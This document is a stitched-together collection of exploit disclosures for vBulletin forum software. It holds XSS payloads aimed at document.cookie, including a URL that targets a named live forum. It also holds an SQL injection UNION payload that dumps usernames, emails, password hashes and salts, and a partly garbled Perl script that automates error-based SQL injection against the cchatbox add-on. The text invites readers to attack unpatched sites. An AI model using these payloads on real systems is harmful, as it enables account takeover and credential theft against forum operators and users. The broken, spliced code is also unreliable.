================================= Vbulletin 4.0.2 XSS Vulnerability =================================  [+] Vbulletin 4.0.2 XSS Vulnerability  1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 I'm 5ubzer0 member from Inj3ct0r Team 1 1 ###################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  [+] Discovered By: 5ubzer0 [+] My id : http://inj3ct0r.com/author/2307 [+] Original : http://inj3ct0r.com/exploits/9697 # Version: Vbulletin 4.0.2  www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert('xss'); www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert(document.cookie);  Exemple: http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C /script%3E

$id = $vbulletin->db->sql_prepare($id);
		if (is_array($id))
		{

function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else if (is_null($value))
		{
			return "''";
		}
		else if (is_array($value))
		{
			foreach ($value as $key => $item)
			{
				$value[$key] = $this->sql_prepare($item);
			}
			return $value;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S   
# Software Link: [http://www.vbulletin.com/]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [http://members.vbulletin.com/]
 
######################################################################################################
Vulnerability:
######################################################################################################
 
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
 
#####################################################################################################
Vulnerable Code:
#####################################################################################################
 
File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
 
 
 
         
        if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
 
        {
 
            $value = $registry->GPC['messagegroupid'];
 
            if (!is_array($value))
 
            {
 
                $value = array($value);
 
            }
 
 
 
            if (!(in_array(' ',$value) OR in_array('',$value)))
 
            {
 
                if ($rst = $vbulletin->db->query_read("
 
                    SELECT socialgroup.name
 
                    FROM " . TABLE_PREFIX."socialgroup AS socialgroup
 
--->                 WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
 
                 
            }
 
 
 
############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
          --> Search Single Content Type
 
Keywords :   Valid Group Message
 
Search Type : Group Messages
 
Search in Group : Valid Group Id
 
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
 
 
###########################################################################################
Note:
###########################################################################################
 
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
print "##################################\n";
print "############ EXPLOIT #############\n";
print "##################################\n";
print "## Portal: cchatbox             ##\n";
print "## Bug: SQLI                    ##\n";
print "## Author: DSecurity            ##\n";
print "## Coder: vv0lll                ##\n";
print "##################################\n";
     
print "Use: exploit.pl address number_user sleeptime\n";
print "Example: exploit.pl http://localhost/vbb 10 10\n";
if(@ARGV new(POST => $ARGV[0].'/cchatbox.php');
    $req->content_type('application/x-www-form-urlencoded');
    $req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');
 
    # Pass request to the user agent and get a response back
    my $res = $ua->request($req);
    #print $res->content;
    if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
    {$test = $3};
    sleep($sleep);
    return $print.$test."\n";
}